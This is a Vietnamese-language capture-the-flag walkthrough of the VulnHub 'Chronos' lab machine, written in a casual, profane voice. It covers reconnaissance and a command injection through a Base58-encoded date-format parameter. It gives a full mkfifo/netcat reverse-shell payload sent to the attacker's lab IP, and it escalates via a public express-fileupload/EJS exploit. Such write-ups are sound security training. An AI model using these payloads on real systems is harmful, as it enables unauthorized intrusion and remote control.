[VulnHub] Chronos
Overview
Link download: CHRONOS: 1
Difficulty: EZ (Depends on experience)
IP Victim: 10.10.10.104
IP Attacker: 10.10.10.102
Information Gathering
Scan qua loa một với Nmap…
1 | Nmap scan report for 10.10.10.104 |
Sơ sơ thì có cổng 22 đang chạy SSH và 2 cổng 80, 8000 đang chạy HTTP Server, trong đó cổng 80 sử dụng Apache và cổng 8000 thì sử dụng NodeJS.
Thề, nhìn quả font chữ với màu hồng neon này làm tôi nhớ đến GTA: Vice City vl.
Để ý trong tab Network, thấy có một request tới chronos.local:8000 bị lỗi, giời ạ, bày đặt domain các thứ mới chịu cơ. Mở file hosts lên và thêm vào cuối file:
1 | 10.10.10.104 chronos.local |
Ok, save lại và reload lại trang xem nào.
Ngon ngay, giờ thử truy cập thằng vào cái URL khả nghi kia để xem nó làm cái vẹo gì.
Hmm… “Permission Denied” cơ đấy, bắt cái request đó khi truy cập trên cổng 80 xem nó đang xác thực kiểu cc gì.
Haha, “User-Agent: Chronos”, server kiểm tra User-Agent và chỉ cho phép User-Agent có giá trị là “Chronos” mới được phép truy cập.
Rồi, thế, giờ làm sao để RCE được cái server này? Ai biết… thử thôi.
Exploitation
Để ý trên URI có xuất hiện đúng 1 param duy nhất
1 | format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL |
Nhìn có vẻ giống giống Base64 đấy, nhưng chả phái đâu, đem decode với Base64 thì không bị báo lỗi, nhưng output thì lằng nhằng không ngửi nổi. Fuzzing linh tinh vào đây thì server trả về lỗi với nội dung:Error: Non-base58 character
haha, Base58!
Decode ra được nội dung '+Today is %A, %B %d, %Y %H:%M:%S.'
, vậy có thể đoán được câu lệnh được chạy trên server sẽ là:
1 | date '+Today is %A, %B %d, %Y %H:%M:%S.' |
Hay lắm tml =)) giờ thì chỉ cần chèn thêm một đoạn payload để lấy reverse-shell vào cuối, encode Base58 và gửi lại lên server cho nó thực hiện là có thể lấy được shell để RCE server này rồi.
1 | Plantext: '+Today is %A, %B %d, %Y %H:%M:%S.'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.102 4444 >/tmp/f |
Get shell
Thay đoạn cypher kia vào request và bắn, gòi xong…
Privileges Escalation
www-data to imera
Mất một lúc kiểm tra linpeas, các kiểu, tôi nhận ra server đang mở cổng 8080, cơ mà chỉ chấp nhận kết nối từ localhost mà thôi, không thành vấn đề cho lắm khi có thể dùng Meterpreter để Port Forward. Cứ thử xem cái trang đó nó làm gì đã.
1 | www-data@chronos:/opt/chronos$ curl localhost:8080 |
Ngắn tũn? Thử tìm mã nguồn của nó xem ở đâu, có đọc được không.
1 | www-data@chronos:/opt/chronos$ cd .. |
Nội dung file server.js:
1 | const express = require('express'); |
Đối chiếu với kết quả Linpeas, dịch vụ trên cổng 8080 này được chạy với quyền của imera, như vậy, nếu tôi RCE được HTTP server trên cổng 8080, tôi sẽ lấy được quyền điều khiển hệ thống của imera.
1 | imera 774 0.0 2.9 599132 38300 ? Ssl 08:36 0:00 /usr/local/bin/node /opt/chronos-v2/backend/server.js |
Nhận thấy trong mã nguồn có yêu cầu “express-fileupload”, Google “express-fileupload exploit”, tôi nhận được repo trên Github với mã khai thác
https://github.com/boiledsteak/EJS-Exploit
Sửa đổi câu lệnh thực thi, tôi sẽ viết một đoạn payload để lấy reverse-shell bằng python vào file /tmp/reverse.py, và câu lệnh trong EJS-Exploit sẽ là python /tmp/reverse.py.
1 | ############################################################## |
Nếu bạn hỏi là sao phải màu mè thế, sao đéo chèn cụ luôn payload vào EJS-Exploit, thì thú thật tôi làm thế rồi, nhưng đéo được =)) Tôi chưa có câu trả lời cho vụ này, chắc là sẽ tìm hiểu thêm một chút nữa mới ra được lí do. Cơ mà tạm thế đã, lấy được shell của imera và…
imera to root
Đoè moè =)) leo root ez vãi!
Áp dụng đúng công thức mà làm, không vẽ vời…